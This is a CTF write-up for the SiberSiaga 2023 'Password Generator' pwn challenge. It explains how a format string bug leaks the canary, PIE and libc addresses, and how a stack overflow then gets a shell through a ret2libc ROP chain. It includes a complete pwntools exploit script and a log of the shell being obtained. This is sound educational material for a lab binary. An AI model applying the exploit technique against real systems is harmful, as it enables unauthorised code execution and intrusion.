Generate strong & secure passwords for all your online accounts with our random password generator.
TL;DR
Abuse Format String Vulnerability to leak canary, LIBC and PIE addresses, then ret2libc.
Challenge Overview
This is a continuation of Backdoor or Frontdoor? challenge from the qualifier round. Similarly, running the binary prompts the user for a name, which is echoed back to us. Then, it asks for the password length instead of the actual password.
Preliminary checks on the binary protection shows that NX is enabled, leaving us with a ROP-based attack. Since canary is also in place, we need a READ PRIMITIVE to leak it and overwrite it back in order to keep it intact.
With PIE enabled, the base address for the binary, as well as any ROP Gadgets will be randomized each time we execute it. This can be verified by checking the LIBC import address on different runtime instances.
Format String Vulnerability - In Line 13, printf() is used to print our user-controlled input without a format specifier. Using this, it provides us a READ PRIMITIVE to defeat canary and PIE.
Buffer Overflow - In Line 15, fgets() is used to allocate a large number of characters, exceeding the size of the destination buffer. This is where we can control the EIP and construct a ROP Chain.
Also, note that the canary check is performed at Line 18. Since our canary local_10 is situated just below our buffer local_38, any Buffer Overflow attempt will trigger the binary to terminate immediately.
undefined8 convert(void){int iVar1;long in_FS_OFFSET;char local_38 [40];long local_10; local_10 =*(long*)(in_FS_OFFSET +0x28);printf("Enter name : ");fgets(local_38,0x2a,stdin);puts("Hello Mr/Ms");printf(local_38,0x2a);printf("Enter length of the password = ");fgets(local_38,0x100,stdin); iVar1 =atoi(local_38);password(iVar1);if (local_10 !=*(long*)(in_FS_OFFSET +0x28)) {__stack_chk_fail(); }return0;}
Exploit
Format String Vulnerability
To leak addresses out from the stack, we can use the %p specifier. We can use this in our advantage to leak all LIBC, PIE and canary addresses at different offset of the stack. However, due to the size limitation of our input, we can only leak so much data before the binary is terminated due to stack smashing.
Addresses that ends with the same 3 bytes after executing the fuzzing script iteratively are our point of interest. We can determine these addresses by following the general Rule of Thumb:
Offset 3: LIBC address usually starts with 0x7f
Offset 11: Canary address are very random, and usually ends with 00 as it's trailing bytes
Offset 13: PIE address usually starts with 0x5
Calculating Offset
Each time we execute the binary, the address at the 3rd offset that we leak will be different due to ASLR, along with the base address of LIBC, however, the leaked address will always be 0xf80e0 bytes away from the base of LIBC. With the knowledge of this offset value, we have just defeated ASLR!
As a Proof-of-Concept, we will attempt to rewrite the canary back with the leaked value, then redirect EIP back to the main function, so we get to see the challenge banner for a second time.
To receive an interactive shell, instead of returning to main, we can construct a ROP chain to perform a ret2libc attack.
Local Solve Script
solve.py
#!/usr/bin/python3from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgcontinuepiebase'''.format(**locals())# Binary filenameexe ='./main'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# libc leak at 3# pie leak at 13 or 19# canary leak at 11 or 35# Start programio =start()libc =ELF("/lib/x86_64-linux-gnu/libc.so.6")rop =ROP(elf)io.recvuntil(b"name : ")io.sendline(b'%13$lx::%11$lx::%3$lx')io.recvuntil(b'Mr/Ms\n')leak = io.recvline()pie =int(leak.strip().split(b'::')[0], 16)-0xef4canary =int(leak.strip().split(b'::')[1], 16)libc.address =int(leak.strip().split(b'::')[2], 16)-0xf80e0log.info("Pie: %s"%hex(pie))log.info("Canary: %s"%hex(canary))log.info("LIBC: %s"%hex(libc.address))rop =ROP(libc)pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]ret = (rop.find_gadget(['ret']))[0]payload =flat([40*b'A', canary,8*b'A', pop_rdi,next(libc.search(b'/bin/sh')), ret, libc.sym['system'], ])io.sendlineafter(b"password = ", payload)io.interactive()
┌──(kali💀JesusCries)-[~/…/SiberSiaga2023 (Finals)/Pwn/Password Generator/bin]└─$./solve.py[+] Starting local process './main': pid 25273[*] '/lib/x86_64-linux-gnu/libc.so.6'Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled[*] Loaded 14 cached gadgets for'./main'[DEBUG] Received 0x337 bytes:b'Enter name : '[DEBUG] Sent 0x16 bytes:b'%13$lx::%11$lx::%3$lx\n'[DEBUG] Received 0x58 bytes:b'Hello Mr/Ms\n'b'557b06000ef4::33ce426719431c00::7f2d88b2f0e0\n'b'Enter length of the password = '[*] Pie: 0x557b06000000[*] Canary: 0x33ce426719431c00[*] LIBC: 0x7f2d88a37000[*] Loaded 195 cached gadgets for'/lib/x86_64-linux-gnu/libc.so.6'[DEBUG] Sent 0x59 bytes:0000000041414141414141414141414141414141│AAAA│AAAA│AAAA│AAAA│*000000204141414141414141001c43196742ce33│AAAA│AAAA│··C·│gB·3│00000030414141414141414125e7a5882d7f0000│AAAA│AAAA│%···│-···│0000004031d0bc882d7f0000c2e0a5882d7f0000│1···│-···│····│-···│000000503033a8882d7f00000a│03··│-···│·│00000059[*] Switching to interactive mode[DEBUG] Received 0x7 bytes:b'\n'b'\t\n'b'\t\n'b'\t\n'$ls[DEBUG] Sent 0x3 bytes:b'ls\n'[DEBUG] Received 0x24 bytes:b'core flag fuzz.py main solve.py\n'$catflag[DEBUG] Sent 0x9 bytes:b'cat flag\n'[DEBUG] Received 0x170 bytes:b' _ _.--.____.--._\n'b'( )=.-":;:;:;;\':;:;:;"-._\n' b' \\\\\\:;:;:;:;:;;:;::;:;:;:\\\n' b' \\\\\\:;:;:;:;:;;:;:;:;:;:;\\\n' b' \\\\\\:;::;:;:;:;:;::;:;:;:\\\n' b' \\\\\\:;:;:;:;:;;:;::;:;:;:\\\n' b' \\\\\\:;::;:;:;:;:;::;:;:;:\\\n' b' \\\\\\;;:;:_:--:_:_:--:_;:;\\\n' b' \\\\\\_.-""-._\\\n' b' \\\\\n' b' \\\\\n' b' \\\\\n' b' \\\\\n' b' \\\\\n' b' \\\\\n' b'\n' b'SIBERSIAGA23{this_is_a_flag}\n'
Remote
Typically for a remote instance, the LIBC version in used will vary based on the setup, which leads to the need of recalculating the offset. As the docker files were provided, we can build the image and extract the LIBC in use.